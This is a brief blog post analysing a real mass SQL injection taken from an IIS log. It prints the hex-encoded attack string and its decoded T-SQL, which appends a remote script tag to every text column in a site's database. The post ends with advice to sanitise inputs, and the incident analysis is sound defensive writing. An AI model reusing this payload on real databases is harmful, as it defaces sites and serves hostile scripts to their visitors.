A seriously elegant SQL Injection
Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...
This is an extract from the IIS log file:
2008-05-20 21:21:28 W3SVC1 xxx.xxx.xxx.xxx POST /news_detail.asp newsID=37;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0039006900350074002E0063006E002F0061002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 221.130.180.215 Mozilla/3.0+(compatible;+Indy+Library) - www.domain.com 200 0 0
This works out to:
DECLARE @T varchar(255), @C varchar(255) DECLARE Table_CursorCURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://hackersscriptdomain.cn/a.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor DEALLOCATE Table_CursorVery nice :) (though I can't condone hacking -no matter how elegant it is!)
p.s. The moral of the story is Always sanitise your strings -it's easy!
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